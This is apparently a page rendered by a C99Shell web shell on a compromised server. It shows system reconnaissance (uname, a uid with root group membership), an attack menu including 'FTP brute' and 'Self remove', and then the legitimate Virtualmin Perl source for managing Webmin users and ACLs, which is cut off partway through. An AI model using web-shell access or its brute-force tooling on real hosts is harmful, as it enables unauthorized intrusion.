!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/virtual-server/   drwxrwxr-x
Free 29.35 GB of 117.98 GB (24.88%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     feature-webmin.pl (40.39 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
sub require_acl
{
return if ($require_acl++);
&foreign_require("acl");
}

# setup_webmin(&domain)
# Creates a new user to manage this domain, with access to the appropriate
# modules with the right permissions
sub setup_webmin
{
&$first_print($text{'setup_webmin'});
&obtain_lock_webmin($_[0]);
&require_acl();
local $tmpl = &get_template($_[0]->{'template'});
local ($wuser) = grep { $_->{'name'} eq $_[0]->{'user'} }
              &acl::list_users();
if ($wuser) {
    # Update the modules for existing Webmin user
    &set_user_modules($_[0], $wuser);
    }
else {
    # Create a new user
    local @modules;
    local %wuser = ( 'name' => $_[0]->{'user'},
             'pass' => $_[0]->{'unix'} ? 'x' :
                    &webmin_password($_[0]),
             'notabs' => !$config{'show_tabs'},
             'modules' => [ ],
             'theme' => $config{'webmin_theme'} eq '*' ? undef :
                    $config{'webmin_theme'} eq '' ? '' :
                     $config{'webmin_theme'},
             'real' => $_[0]->{'owner'},
             );
    &acl::create_user(\%wuser);
    &set_user_modules($_[0], \%wuser);

    # Add to Webmin group
    if ($tmpl->{'webmin_group'} ne 'none') {
        local ($group) = grep { $_->{'name'} eq
                $tmpl->{'webmin_group'} } &acl::list_groups();
        if ($group) {
            push(@{$group->{'members'}}, $wuser{'name'});
            &acl::modify_group($group->{'name'}, $group);
            }
        }
    }
&update_extra_webmin($_[0]);
&release_lock_webmin($_[0]);
&register_post_action(\&restart_webmin);
&$second_print($text{'setup_done'});
return 1;
}

# webmin_password(&domain)
# Returns an encrypted password for a virtual server
sub webmin_password
{
&require_acl();
return $_[0]->{'pass'} ? &acl::encrypt_password($_[0]->{'pass'})
               : $_[0]->{'crypt_enc_pass'};
}

# delete_webmin(&domain)
# Delete the webmin user for the domain, and all his permissions
sub delete_webmin
{
&$first_print($text{'delete_webmin'});
&obtain_lock_webmin($_[0]);
&require_acl();

# Delete the user
&acl::delete_user($_[0]->{'user'});
&update_extra_webmin($_[0]);

# Delete from any groups
foreach my $group (&acl::list_groups()) {
    local $idx = &indexof($_[0]->{'user'}, @{$group->{'members'}});
    if ($idx >= 0) {
        splice(@{$group->{'members'}}, $idx, 1);
        &acl::modify_group($group->{'name'}, $group);
        }
    }

# Clear Webmin sessions
local %miniserv;
&get_miniserv_config(\%miniserv);
&acl::delete_session_user(\%miniserv, $_[0]->{'user'});

&release_lock_webmin($_[0]);
&register_post_action(\&restart_webmin);
&$second_print($text{'setup_done'});
return 1;
}

# modify_webmin(&domain, &olddomain)
sub modify_webmin
{
if ($_[0]->{'home'} ne $_[1]->{'home'} && &foreign_check("htaccess-htpasswd")) {
    # If home has changed, update protected web directories that
    # referred to old dir
    &$first_print($text{'save_htaccess'});
    &foreign_require("htaccess-htpasswd");
    local @dirs = &htaccess_htpasswd::list_directories(1);
    foreach $d (@dirs) {
        if ($d->[0] eq $_[1]->{'home'}) {
            $d->[0] = $_[0]->{'home'};
            }
        else {
            $d->[0] =~ s/^$_[1]->{'home'}\//$_[0]->{'home'}\//;
            }
        if ($d->[1] =~ /^$_[1]->{'home'}\/(.*)$/) {
            # Need to update file too!
            $d->[1] = "$_[0]->{'home'}/$1";
            &require_apache();
            local $f = $d->[0]."/".
                   $htaccess_htpasswd::config{'htaccess'};
            local $conf = &apache::get_htaccess_config($f);
            &apache::save_directive(
                "AuthUserFile", [ $d->[1] ], $conf, $conf);
            &write_as_domain_user($_[0],
                sub { &flush_file_lines($f) });
            }
        }
    &htaccess_htpasswd::save_directories(\@dirs);
    &$second_print($text{'setup_done'});
    }
if (!$_[0]->{'parent'}) {
    # Update the Webmin user
    &obtain_lock_webmin($_[0]);
    &require_acl();
    local ($wuser) = grep { $_->{'name'} eq $_[1]->{'user'} }
                  &acl::list_users();
    if ($_[0]->{'unix'} ne $_[1]->{'unix'}) {
        # Turn on or off password synchronization
        $wuser->{'pass'} = $_[0]->{'unix'} ? 'x' :
                    &webmin_password($_[0]);
        &acl::modify_user($_[1]->{'user'}, $wuser);
        }
    if ($_[0]->{'user'} ne $_[1]->{'user'}) {
        # Need to re-name user
        &$first_print($text{'save_webminuser'});
        $wuser->{'real'} = $_[0]->{'owner'};
        $wuser->{'name'} = $_[0]->{'user'};
        &acl::modify_user($_[1]->{'user'}, $wuser);

        # Rename in groups too
        foreach my $group (&acl::list_groups()) {
            local $idx = &indexof($_[1]->{'user'},
                          @{$group->{'members'}});
            if ($idx >= 0) {
                $group->{'members'}->[$idx] = $_[0]->{'user'};
                &acl::modify_group($group->{'name'}, $group);
                }
            }
        }
    elsif ($_[0]->{'owner'} ne $_[1]->{'owner'}) {
        # Need to update owner
        &$first_print($text{'save_webminreal'});
        $wuser->{'real'} = $_[0]->{'owner'};
        &acl::modify_user($_[0]->{'user'}, $wuser);
        }
    else {
        # Leave name unchanged
        &$first_print($text{'save_webmin'});
        }
    &set_user_modules($_[0], $wuser) if ($wuser);
    &update_extra_webmin($_[0]);
    &release_lock_webmin($_[0]);
    &register_post_action(\&restart_webmin);
    &$second_print($text{'setup_done'});
    return 1;
    }
elsif ($_[0]->{'parent'} && !$_[1]->{'parent'}) {
    # Webmin feature has been turned off .. so delete the user
    &delete_webmin($_[1]);
    }
return 0;
}

# clone_webmin(&old-domain, &domain)
# Copy Webmin user settings to the new domain
sub clone_webmin
{
local ($oldd, $d) = @_;
&obtain_lock_webmin($d);
&require_acl();
local ($olduser) = grep { $_->{'name'} eq $oldd->{'user'} } &acl::list_users();
local ($user) = grep { $_->{'name'} eq $d->{'user'} } &acl::list_users();
if ($olduser && $user) {
    $user->{'theme'} = $olduser->{'theme'};
    $user->{'lang'} = $olduser->{'lang'};
    &acl::modify_user($d->{'user'}, $user);
    }
&release_lock_webmin($d);
&register_post_action(\&restart_webmin);
return 1;
}

# validate_webmin(&domain)
# Make sure all Webmin users exist
sub validate_webmin
{
local ($d) = @_;
&require_acl();
local @users = &acl::list_users();
local ($wuser) = grep { $_->{'name'} eq $d->{'user'} } @users;
return &text('validate_ewebmin', $d->{'user'}) if (!$wuser);
foreach my $admin (&list_extra_admins($d)) {
    local ($wuser) = grep { $_->{'name'} eq $admin->{'name'} }
                  @users;
    return &text('validate_ewebminextra', $admin->{'name'})
        if (!$wuser);
    }
return undef;
}

# disable_webmin(&domain)
# Lock the password of the domains's Webmin user
sub disable_webmin
{
&$first_print($text{'disable_webmin'});
&obtain_lock_webmin($_[0]);
&require_acl();
local ($wuser) = grep { $_->{'name'} eq $_[0]->{'user'} } &acl::list_users();
if ($wuser) {
    $wuser->{'pass'} = "*LK*";
    &acl::modify_user($wuser->{'name'}, $wuser);
    &register_post_action(\&restart_webmin);
    }
&release_lock_webmin($_[0]);
&$second_print($text{'setup_done'});
return 1;
}

# enable_webmin(&domain)
# Changes the password of the domain's Webmin user back to unix auth
sub enable_webmin
{
&$first_print($text{'enable_webmin'});
&obtain_lock_webmin($_[0]);
&require_acl();
local ($wuser) = grep { $_->{'name'} eq $_[0]->{'user'} } &acl::list_users();
if ($wuser) {
    $wuser->{'pass'} = "x";
    &acl::modify_user($wuser->{'name'}, $wuser);
    &register_post_action(\&restart_webmin);
    }
&release_lock_webmin($_[0]);
&$second_print($text{'setup_done'});
return 1;
}

# restart_webmin()
# Send a signal to Webmin to re-read its config
sub restart_webmin
{
my $restarted = &getvar('webmin-restarted', undef, 1);
&$first_print($text{'setup_webminpid2'})
    if (!$restarted);
eval {
    local $main::error_must_die = 1;
    &reload_miniserv();
    };
if ($@) {
    &$second_print(&text('setup_webmindown2', "$@"))
        if (!$restarted);
    }
else {
    &$second_print($text{'setup_done'})
        if (!$restarted);
    }
}

# restart_webmin_fully()
# Send a signal to Webmin to make it fully restart and re-read its config
sub restart_webmin_fully
{
&setvar('webmin-restarted',    1);
&$first_print($text{'setup_webminpid'});
eval {
    local $main::error_must_die = 1;
    &restart_miniserv();
    };
if ($@) {
    &$second_print(&text('setup_webmindown2', "$@"));
    }
else {
    &$second_print($text{'setup_done'});
    }
}

# restart_usermin()
# Send a signal to Usermin to make it fully restart and re-read it's config
sub restart_usermin
{
&foreign_require("usermin");
&$first_print($text{'setup_userminpid'});
eval {
    local $main::error_must_die = 1;
    &usermin::restart_usermin_miniserv();
    };
if ($@) {
    &$second_print(&text('setup_usermindown2', "$@"));
    }
else {
    &$second_print($text{'setup_done'});
    }
}

# set_user_modules(&domain, &webminuser, [&acs-for-this-module], [no-features],
#           [no-extra], [is-extra-admin], [&only-domain-ids])
sub set_user_modules
{
local ($d, $wuser, $acls, $nofeatures, $noextras, $isextra, $onlydoms) = @_;
local @mods;
local $tmpl = &get_template($d->{'template'});
local $chroot = &get_domain_jailkit($d);

# Work out which module's ACLs to leave alone
local %hasmods = map { $_, 1 } @{$wuser->{'modules'}};
%hasmods = ( ) if (!$config{'leave_acl'});

# Work out which domains and features exist
local @doms = ( $d, &get_domain_by("parent", $d->{'id'}) );
local %doneid;
@doms = grep { !$doneid{$_->{'id'}}++ } @doms;
local (%features, $sd, $f);
if (!$nofeatures) {
    foreach $sd (@doms) {
        foreach $f (@features) {
            $features{$f}++ if ($sd->{$f});
            }
        }
    }
if ($onlydoms) {
    local %onlydoms = map { $_, 1 } @$onlydoms;
    @doms = grep { $onlydoms{$_->{'id'}} } @doms;
    }

# Work out which extra (non feature-related) modules are available
local %avail = map { split(/=/, $_, 2) } split(/\s+/, $tmpl->{'avail'});
local @extramods = grep { $avail{$_} } keys %avail;
if ($noextras) {
    @extramods = ( );
    }
local %extramods = map { $_, $avail{$_} }
               grep { my $m=$_; { local $_; &foreign_check($m) } }
            @extramods;

# Grant access to BIND module if needed
if ($features{'dns'} && $avail{'dns'} && !$d->{'provision_dns'} &&
    !$d->{'dns_cloud'}) {
    # Allow user to manage just their domains
    push(@mods, "bind8");
    local %acl = ( 'noconfig' => 1,
               'zones' => join(" ",
                    map { $_->{'dom'} }
                     grep { $_->{'dns'} &&
                            !$_->{'provision_dns'} &&
                        !$_->{'dns_cloud'} } @doms),
               'dir' => &resolve_links($d->{'home'}),
               'master' => 0,
               'slave' => 0,
               'forward' => 0,
               'delegation' => 0,
               'defaults' => 0,
               'reverse' => 0,
               'multiple' => 1,
               'ro' => 0,
               'apply' => 2,
               'file' => 0,
               'params' => 1,
               'opts' => 0,
               'delete' => 0,
               'gen' => 1,
               'whois' => 1,
               'findfree' => 1,
               'slaves' => 0,
               'remote' => 0,
               'views' => 0,
               'vlist' => '' );
    &save_module_acl_logged(\%acl, $wuser->{'name'}, "bind8")
        if (!$hasmods{'bind8'});
    }
else {
    @mods = grep { $_ ne "bind8" } @mods;
    }

# Grant access to MySQL module if needed
if ($features{'mysql'} && $avail{'mysql'}) {
    # Allow user to manage just the domain's DB
    my $mymod = &require_dom_mysql($d);
    push(@mods, $mymod);
    local %acl = ( 'noconfig' => 1,
               'dbs' => join(" ", map { split(/\s+/, $_->{'db_mysql'}) }
                          grep { $_->{'mysql'} } @doms),
               'create' => 0,
               'delete' => 0,
               'stop' => 0,
               'perms' => 0,
               'edonly' => 0,
               'user' => &mysql_user($d),
               'pass' => &mysql_pass($d),
               'buser' => $d->{'user'},
               'bpath' => "/" );
    &save_module_acl_logged(\%acl, $wuser->{'name'}, $mymod)
        if (!$hasmods{$mymod});
    }
else {
    @mods = grep { !/^mysql(-.*)?$/ } @mods;
    }

# Grant access to PostgreSQL module if needed
if ($features{'postgres'} && $avail{'postgres'}) {
    # Allow user to manage just the domain's DB
    push(@mods, "postgresql");
    local %acl = ( 'noconfig' => 1,
               'dbs' => join(" ",
                   map { split(/\s+/, $_->{'db_postgres'}) }
                       grep { $_->{'postgres'} } @doms),
               'create' => 0,
               'delete' => 0,
               'stop' => 0,
               'users' => 0,
               'user' => &postgres_user($d),
               'pass' => &postgres_pass($d, 1),
               'sameunix' => 1,
               'backup' => 0,
               'restore' => 0 );
    &save_module_acl_logged(\%acl, $wuser->{'name'}, "postgresql")
        if (!$hasmods{'postgresql'});
    }
else {
    @mods = grep { $_ ne "postgresql" } @mods;
    }

# Grant access to Apache module if needed
if ($features{'web'} && $avail{'web'} && $d->{'edit_phpmode'}) {
    # Allow user to manage just this website
    &require_apache();
    push(@mods, "apache");
    local @webdoms = grep { $_->{'web'} &&
                (!$_->{'alias'} || !$_->{'alias_mode'}) } @doms;
    local %acl = ( 'noconfig' => 1,
               'virts' => join(" ",
              map { $_->{'dom'}, "$_->{'dom'}:$_->{'web_port'}" }
                  @webdoms),
               'global' => 0,
               'create' => 0,
               'vuser' => 0,
               'vaddr' => 0,
               'names' => 0,
               'pipe' => 0,
               'stop' => 0,
               'dir' => &resolve_links($d->{'home'}),
               'aliasdir' => &resolve_links($d->{'home'}),
               'test_always' => 1,
               'types' => join(" ",
                (0 .. 7, 9 .. 16,
                 18 .. $apache::directive_type_count)),
               'dirsmode' => 2,
               'dirs' => 'ServerName ServerAlias SSLEngine SSLCertificateFile SSLCertificateKeyFile SSLCACertificateFile',
              );
    if (!$extramods{'phpini'}) {
        # If cannot access the php.ini module, deny access to PHP
        # directives in Apache too
        $acl{'dirs'} .= ' php_value php_flag php_admin_value php_admin_flag';
        }
    local @ssldoms = grep { $_->{'ssl'} } @webdoms;
    if (@ssldoms) {
        $acl{'virts'} .= " ".join(" ",
            map { $_->{'dom'}, "$_->{'dom'}:$_->{'web_sslport'}" }
                @ssldoms);
        }
    &save_module_acl_logged(\%acl, $wuser->{'name'}, "apache")
        if (!$hasmods{'apache'});
    }
else {
    @mods = grep { $_ ne "apache" } @mods;
    }

# Grant access to Webalizer module if needed
if ($features{'webalizer'} && $avail{'webalizer'}) {
    push(@mods, "webalizer");
    local @logs;
    local $d;
    foreach $d (grep { $_->{'webalizer'} } @doms) {
        push(@logs, &resolve_links(&get_website_log($d)));
        }
    @logs = &unique(@logs);
    local %acl = ( 'noconfig' => 1,
               'view' => $tmpl->{'web_stats_noedit'},
               'global' => 0,
               'add' => 0,
               'user' => $d->{'user'},
               'dir' => join(" ", @logs) );
    &save_module_acl_logged(\%acl, $wuser->{'name'}, "webalizer")
        if (!$hasmods{'webalizer'});
    }
else {
    @mods = grep { $_ ne "webalizer" } @mods;
    }

# Grant access to SpamAssassin module if needed, and if per-domain spamassassin
# configs are available
local @spamassassin_doms;
if (defined(&get_domain_spam_client)) {
    @spamassassin_doms = grep { &get_domain_spam_client($_) ne 'spamc' }
                  grep { $_->{'spam'} } @doms;
    }
if ($features{'spam'} && $avail{'spam'} && @spamassassin_doms) {
    push(@mods, "spam");
    local $sd = $spamassassin_doms[0];
    local %acl = ( 'noconfig' => 1,
               'avail' => 'white,score,report,user,header,awl',
               'procmailrc' => "$procmail_spam_dir/$sd->{'id'}",
               'file' => "$spam_config_dir/$sd->{'id'}/virtualmin.cf",
               'awl_groups' => $d->{'group'},
             );
    $acl{'files'} = join(' ',
                 map { "$spam_config_dir/$_->{'id'}/virtualmin.cf" }
                     @spamassassin_doms);
    $acl{'procmailrcs'} = join(' ',
                 map { "$procmail_spam_dir/$_->{'id'}" }
                     @spamassassin_doms);
    &save_module_acl_logged(\%acl, $wuser->{'name'}, "spam")
        if (!$hasmods{'spam'});
    }
else {
    @mods = grep { $_ ne "spam" } @mods;
    }

# All users get access to virtualmin at least
local $can_create = $d->{'domslimit'} && !$d->{'no_create'} &&
            $d->{'unix'};
push(@mods, $module_name);
local %acl = ( 'noconfig' => 1,
           'edit' => $d->{'edit_domain'} ? 2 : 0,
           'create' => $can_create ? 2 : 0,
           'import' => 0,
           'stop' => 0,
           'local' => 0,
           'nodbname' => $d->{'nodbname'},
           'norename' => $d->{'norename'},
           'migrate' => $d->{'migrate'},
           'forceunder' => $d->{'forceunder'},
           'safeunder' => $d->{'safeunder'},
           'ipfollow' => $d->{'ipfollow'},
           'domains' => join(" ", map { $_->{'id'} } @doms),
           'admin' => $acls ? $d->{'id'} : undef,
          );
foreach $f (@opt_features, &list_feature_plugins(), 'virt') {
    $acl{"feature_$f"} = $d->{"limit_$f"};
    }
foreach my $ed (@edit_limits) {
    $acl{'edit_'.$ed} = $d->{'edit_'.$ed};
    }
$acl{'allowedscripts'} = $d->{'allowedscripts'};
if ($acls) {
    foreach my $k (keys %$acls) {
        $acl{$k} = $acls->{$k};
        }
    }
&save_module_acl_logged(\%acl, $wuser->{'name'});
%uaccess = %acl;

# Set global ACL options
local %acl = ( 'feedback' => 0,
           'rpc' => 0,
           'negative' => 1,
           'readonly' => $d->{'demo'},
           'fileunix' => $d->{'user'} );
if ($chroot) {
    $acl{'root'} = $d->{'home'};
    }
else {
    $acl{'root'} = &resolve_links(
        &substitute_domain_template($tmpl->{'gacl_root'}, $d));
    }
if ($tmpl->{'gacl_umode'} == 1) {
    $acl{'uedit_mode'} = 5;
    $acl{'uedit'} = &substitute_domain_template($tmpl->{'gacl_ugroups'}, $d);
    }
else {
    $acl{'uedit_mode'} = 2;
    $acl{'uedit'} = &substitute_domain_template($tmpl->{'gacl_uusers'}, $d);
    }
$acl{'gedit_mode'} = 2;
$acl{'gedit'} = &substitute_domain_template($tmpl->{'gacl_groups'}, $d);
if (!$d->{'domslimit'}) {
    $acl{'desc_'.$module_name} = $text{'index_title2'};
    }
&save_module_acl_logged(\%acl, $wuser->{'name'}, ".");

if ($extramods{'file'} && $d->{'unix'}) {
    # Limit old Java file manager to user's directory, as unix user
    local %acl = ( 'noconfig' => 1,
               'uid' => $d->{'uid'},
               'follow' => 0,
               'root' => &resolve_links($d->{'home'}),
               'home' => 0,
               'goto' => 1 );
    &save_module_acl_logged(\%acl, $wuser->{'name'}, "file")
        if (!$hasmods{'file'});
    push(@mods, "file");
    }

if ($extramods{'filemin'} && $d->{'unix'}) {
    # Limit new HTML file manager to user's directory, as unix user
    my $modname = &foreign_check("file-manager") ?
                "file-manager" : "filemin";
    my $homedir;
    if (@doms == 1) {
        $homedir = $doms[0]->{'home'};
        }
    else {
        $homedir = $d->{'home'};
        }
    local %acl = ( 'noconfig' => 1,
               'work_as_root' => 0,
               'work_as_user', $d->{'user'},
               'allowed_paths' => &resolve_links($homedir),
             );
    &save_module_acl_logged(\%acl, $wuser->{'name'}, $modname)
        if (!$hasmods{$modname});
    push(@mods, $modname);
    }

if ($d->{'unix'}) {
    if ($extramods{'passwd'} == 1 && !$isextra) {
        # Can only change domain owners password
        local %acl = ( 'noconfig' => 1,
                   'mode' => 1,
                   'users' => $d->{'user'},
                   'repeat' => 1,
                   'old' => 1,
                   'expire' => 0,
                   'others' => 1 );
        &save_module_acl_logged(\%acl, $wuser->{'name'}, "passwd")
            if (!$hasmods{'passwd'});
        push(@mods, "passwd");
        }
    elsif ($extramods{'passwd'} == 2) {
        # Can change all mailbox passwords (except for the domain
        # owner, if this is an extra admin)
        local %acl = ( 'noconfig' => 1,
                   'mode' => 5,
                   'users' => $d->{'group'},
                   'notusers' => $d->{'user'},
                   'repeat' => 1,
                   'old' => 0,
                   'expire' => 0,
                   'others' => 1 );
        &save_module_acl_logged(\%acl, $wuser->{'name'}, "passwd")
            if (!$hasmods{'passwd'});
        push(@mods, "passwd");
        }
    }

if ($extramods{'proc'} && $d->{'unix'} && !$chroot) {
    # Can only manage and see his own processes
    local %acl = ( 'noconfig' => 1,
               'uid' => $d->{'uid'},
               'edit' => 1,
               'run' => 1,
               'users' => $d->{'user'},
               'only' => ($extramods{'proc'} == 2) );
    &save_module_acl_logged(\%acl, $wuser->{'name'}, "proc")
        if (!$hasmods{'proc'});
    push(@mods, "proc");
    }

if ($extramods{'cron'} && $d->{'unix'} && !$chroot) {
    # Can only manage his cron jobs
    local %acl = ( 'noconfig' => 1,
               'mode' => 1,
               'users' => $d->{'user'},
               'allow' => 0 );
    &save_module_acl_logged(\%acl, $wuser->{'name'}, "cron")
        if (!$hasmods{'cron'});
    push(@mods, "cron");
    }

if ($extramods{'at'} && $d->{'unix'} && !$chroot) {
    # Can only manage his at jobs
    local %acl = ( 'noconfig' => 1,
               'mode' => 1,
               'users' => $d->{'user'},
               'allow' => 0,
               'stop' => 0, );
    &save_module_acl_logged(\%acl, $wuser->{'name'}, "at")
        if (!$hasmods{'at'});
    push(@mods, "at");
    }

if ($extramods{'telnet'} && $d->{'unix'}) {
    # Cannot configure telnet module
    local %acl = ( 'noconfig' => 1 );
    &save_module_acl_logged(\%acl, $wuser->{'name'}, "telnet")
        if (!$hasmods{'telnet'});
    push(@mods, "telnet");
    }

if ($extramods{'xterm'} && $d->{'unix'}) {
    # Cannot configure module xterm module, and shell opens as domain user
    local %acl = ( 'noconfig' => 1,
               'user' => $d->{'user'} );
    &save_module_acl_logged(\%acl, $wuser->{'name'}, "xterm")
        if (!$hasmods{'xterm'});
    push(@mods, "xterm");
    }

if ($extramods{'custom'}) {
    # Cannot edit or create commands
    local %acl = ( 'noconfig' => 1,
               'cmd' => '*',
               'edit' => 0 );
    &save_module_acl_logged(\%acl, $wuser->{'name'}, "custom")
        if (!$hasmods{'custom'});
    push(@mods, "custom");
    }

if ($extramods{'shell'} && $d->{'unix'}) {
    # Can only run commands as server owner
    local %acl = ( 'noconfig' => 1,
               'user' => $d->{'user'},
               'chroot' => $chroot || '/' );
    &save_module_acl_logged(\%acl, $wuser->{'name'}, "shell")
        if (!$hasmods{'shell'});
    push(@mods, "shell");
    }

if ($extramods{'updown'} && $d->{'unix'}) {
    # Can upload and download to home dir only
    local %acl = ( 'noconfig' => 1,
               'dirs' => $d->{'home'},
               'home' => 0,
               'mode' => 3, );
    if ($extramods{'updown'} == 2) {
        # Can only upload
        $acl{'download'} = 0;
        $acl{'fetch'} = 0;
        }
    &save_module_acl_logged(\%acl, $wuser->{'name'}, "updown")
        if (!$hasmods{'updown'});
    push(@mods, "updown");

    # Set defaults for upload and download directories for this user
    local %udconfig;
    local $udfile = "$config_directory/updown/config";
    &lock_file($udfile);
    &read_file($udfile, \%udconfig);
    $udconfig{'dir_'.$wuser->{'name'}} ||= &resolve_links($d->{'home'});
    $udconfig{'ddir_'.$wuser->{'name'}} ||= &resolve_links($d->{'home'});
    &write_file($udfile, \%udconfig);
    &unlock_file($udfile);
    }

if ($extramods{'change-user'}) {
    # This module is always safe, so no ACL needs to be set
    push(@mods, "change-user");
    }

if ($extramods{'htaccess-htpasswd'} && $d->{'unix'}) {
    # Can create .htaccess files in home dir, as user
        local %acl = ( 'noconfig' => 1,
                       'home' => 0,
                       'dirs' => $d->{'home'},
                       'sync' => 0,
                       'user' => $d->{'user'} );
        &save_module_acl_logged(\%acl, $wuser->{'name'}, "htaccess-htpasswd")
                if (!$hasmods{'htaccess-htpasswd'});
        push(@mods, "htaccess-htpasswd");
        }

local @maildoms = grep { $_->{'mail'} } @doms;
if ($extramods{'mailboxes'} && @maildoms) {
    # Can read mailboxes of users
    local %acl = ( 'noconfig' => 1,
               'fmode' => 1,
               'from' => join(" ", map { $_->{'dom'} } @maildoms),
               'canattach' => 0,
               'candetach' => 0,
               'dir' => &mail_domain_base($d) );
    if (!&mail_system_needs_group()) {
        # For vpopmail, mailboxes are identified by domain
        $acl{'mmode'} = 6;
        $acl{'musers'} = ".*\@(".
                 join("|", map { $_->{'dom'} } @maildoms).")";
        }
    else {
        # By server GID
        $acl{'mmode'} = 5;
        $acl{'musers'} = $d->{'gid'};
        }
    &save_module_acl_logged(\%acl, $wuser->{'name'}, "mailboxes")
        if (!$hasmods{'mailboxes'});
    push(@mods, "mailboxes");
    }
else {
    @mods = grep { $_ ne "mailboxes" } @mods;
    }

if ($extramods{'logviewer'} && $d->{'webmin'}) {
    # Can view log files for Apache and ProFTPd
    local @extras;
    local %done;
    foreach my $sd (@doms) {
        # Add Apache logs, for domains with websites and separate logs
        if (&domain_has_website($sd) && !$sd->{'alias_mode'}) {
            local $alog = &get_website_log($sd, 0);
            local $elog = &get_website_log($sd, 1);
            push(@extras, $alog." ".&text('webmin_alog',
                              $sd->{'dom'}))
                if ($alog && !$done{$alog}++);
            push(@extras, $elog." ".&text('webmin_elog',
                              $sd->{'dom'}))
                if ($elog && !$done{$elog}++);
            }
        # Add FTP logs
        if ($sd->{'ftp'}) {
            local $flog = &get_proftpd_log($sd);
            if ($flog && !$done{$flog}++) {
                push(@extras, $flog." ".&text('webmin_flog',
                                 $sd->{'dom'}))
                }
            }
        # Add PHP log
        my $phplog = &get_domain_php_error_log($d);
        if ($phplog && !$done{$phplog}++) {
            push(@extras, $phplog." ".&text('webmin_plog',
                            $sd->{'dom'}));
            }
        }
    if (@extras) {
        local %acl = ( 'extras' => join("\t", @extras),
                   'any' => 0,
                   'noconfig' => 1,
                   'noedit' => 1,
                   'syslog' => 0,
                   'others' => 0 );
        &save_module_acl_logged(\%acl, $wuser->{'name'}, "logviewer")
            if (!$hasmods{'logviewer'});
        push(@mods, "logviewer");
        @mods = grep { $_ ne "syslog" } @mods;
        }
    else {
        # No logs found!
        @mods = grep { $_ ne "syslog" && $_ ne "logviewer" } @mods;
        }
    }
else {
    @mods = grep { $_ ne "syslog" && $_ ne "logviewer" } @mods;
    }

local @pconfs;
if ($extramods{'phpini'} && $d->{'edit_phpmode'}) {
    # Can edit PHP configuration files
    foreach my $sd (grep { $_->{'web'} } @doms) {
        my $mode = &get_domain_php_mode($sd);
        if ($mode ne "mod_php" && $mode ne "fpm" && $mode ne "none") {
            # Allow access to .ini files
            foreach my $ini (&list_domain_php_inis($sd)) {
                local @st = stat($ini->[1]);
                if (@st && $st[4] == $sd->{'uid'}) {
                    if ($ini->[0]) {
                        push(@pconfs, "$ini->[1]=".
                          &text('webmin_phpini2',
                            $sd->{'dom'}, $ini->[0]));
                        }
                    else {
                        push(@pconfs, "$ini->[1]=".
                          &text('webmin_phpini',
                            $sd->{'dom'}));
                        }
                    }
                }
            }
        elsif ($mode eq "fpm") {
            # Allow access to FPM configs for PHP overrides
            my $conf = &get_php_fpm_config($sd);
            if ($conf) {
                my $file = $conf->{'dir'}."/".
                       $sd->{'id'}.".conf";
                push(@pconfs, $file."=".
                    &text('webmin_phpini', $sd->{'dom'}));
                }
            }
        }
    }
if (@pconfs) {
    local %acl = ( 'php_inis' => join("\t", @pconfs),
               'noconfig' => 1,
               'global' => 0,
               'anyfile' => 0,
               'user' => $d->{'user'},
               'manual' => 0 );
    &save_module_acl_logged(\%acl, $wuser->{'name'}, "phpini")
        if (!$hasmods{'phpini'});
    push(@mods, "phpini");
    }
else {
    @mods = grep { $_ ne "phpini" } @mods;
    }

if (!$noextras) {
    # Add any extra modules specified for this domain
    push(@mods, split(/\s+/, $d->{'webmin_modules'}));

    # Add any extra modules specified in global config
    local @wmods = split(/\s+/, $config{'webmin_modules'});
    local $m;
    foreach $m (@wmods) {
        local %acl = ( 'noconfig' => 1 );
        &save_module_acl_logged(\%acl, $wuser->{'name'}, $m)
            if (!$hasmods{$m});
        }
    push(@mods, @wmods);
    }

if (!$nofeatures) {
    # Add plugin-specified modules, except those that have been disabled
    # for domain owners in the template
    local $p;
    foreach $p (@plugins) {
        local @pmods = &plugin_call($p, "feature_webmin", $d,
                        \@doms);
        local $pm;
        foreach $pm (@pmods) {
            next if ($avail{$pm->[0]} ne '' &&
                 !$avail{$pm->[0]});
            push(@mods, $pm->[0]);
            if ($pm->[1]) {
                &save_module_acl_logged(
                    $pm->[1], $wuser->{'name'}, $pm->[0]);
                }
            }
        }
    }

if ($extramods{'webminlog'} && $d->{'webmin'}) {
    # Can view own actions, and those of extra admins. This has to be
    # done last, to have access to the list of modules.
    local @users = ( $d->{'user'} );
    if ($virtualmin_pro) {
        push(@users, map { $_->{'name'} } &list_extra_admins($d));
        }
    local %acl = ( 'users' => join(" ", @users),
               'mods' => join(" ", @mods),
               'rollback' => 0 );
    &save_module_acl_logged(\%acl, $wuser->{'name'}, "webminlog")
        if (!$hasmods{'webminlog'});
    push(@mods, "webminlog");
    }
else {
    @mods = grep { $_ ne "webminlog" } @mods;
    }

# Finally, override in settings from template Webmin group
local @ownmods = @mods;
if ($tmpl->{'webmin_group'} ne 'none') {
    local ($group) = grep { $_->{'name'} eq $tmpl->{'webmin_group'} }
                  &acl::list_groups();
    if ($group) {
        # Add modules from group to list
        push(@mods, @{$group->{'modules'}});

        # Copy group's ACLs to user
        &acl::copy_group_user_acl_files(
            $group->{'name'}, $wuser->{'name'},
            [ @{$group->{'modules'}}, "" ]);
        }
    }

$wuser->{'ownmods'} = [ &unique(@ownmods) ];
$wuser->{'modules'} = [ &unique(@mods) ];
$wuser->{'readonly'} = $module_name;
&acl::modify_user($wuser->{'name'}, $wuser);
}

# check_webmin_clash(&domain, [field])
# Returns 1 if a user or group with this name already exists
sub check_webmin_clash
{
if (!$_[1] || $_[1] eq 'user') {
    &require_acl();
    return 1 if ($_[0]->{'user'} eq 'webmin');
    return 0 if ($_[0]->{'webmin_overwrite'});
    local $u;
    foreach $u (&acl::list_users()) {
        return 1 if ($u->{'name'} eq $_[0]->{'user'});
        }
    }
return 0;
}

# modify_all_webmin([template-id])
# Updates the Webmin users for all domains (or just those on some template)
sub modify_all_webmin
{
local ($tid) = @_;
&$first_print($text{'check_allwebmin'});
&obtain_lock_webmin();
&push_all_print();
&set_all_null_print();
